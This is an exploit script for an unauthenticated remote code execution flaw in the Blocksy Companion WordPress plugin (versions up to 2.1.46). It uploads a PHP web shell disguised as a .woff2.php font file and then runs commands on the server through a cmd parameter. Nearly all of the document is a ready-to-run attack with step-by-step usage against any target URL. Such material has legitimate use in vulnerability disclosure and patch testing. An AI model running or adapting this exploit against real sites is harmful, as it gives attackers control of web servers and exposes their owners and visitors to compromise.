Blocksy Companion 2.1.46 – RCE
#!/usr/bin/env python3 # Exploit Title: Blocksy Companion 2.1.46 - RCE # CVE: CVE-2026-58480 # Date: 2026-07-13 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://creativethemes.com # Software Link: https://wordpress.org/plugins/blocksy-companion/ # Affected: Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts) # Tested on: WordPress + Blocksy Companion 2.1.46 # Category: WebApps # Platform: PHP # Exploit Type: Remote Code Execution (Unauthenticated) # CVSS: 9.8 (Critical) # Description: Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments. # Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension. # Fixed in: 2.1.47 # Usage: # python3 exploit.py <target_url> # # Examples: # python3 exploit.py http://target.com # # Notes: # • Requires Advanced Reviews and Custom Fonts extensions enabled. # • Uploaded shell lands in wp-content/uploads/ (check response for exact path). # # How to Use # # Step 1: # Run the script with target URL. # # Step 2: # Use the generated shell URL with ?cmd=command (e.g. ?cmd=id) import requests import sys def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) if len(sys.argv) < 2: banner() print("Usage: python3 exploit.py <http://target.com>") sys.exit(1) banner() target = sys.argv[1].rstrip('/') shell_name = "poc.woff2.php" payload = """<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); exit; } echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security'; ?> """ files = { 'blc-review-images[]': (shell_name, payload, 'application/octet-stream') } data = { 'action': 'blc_save_review_attachments' } print("[+] Sending unauthenticated file upload...") try: r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15) print(f"Status: {r.status_code}") print(r.text[:600]) print("\n[+] If successful, check wp-content/uploads/ for the shell.") print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id") except Exception as e: print(f"[-] Error: {e}") |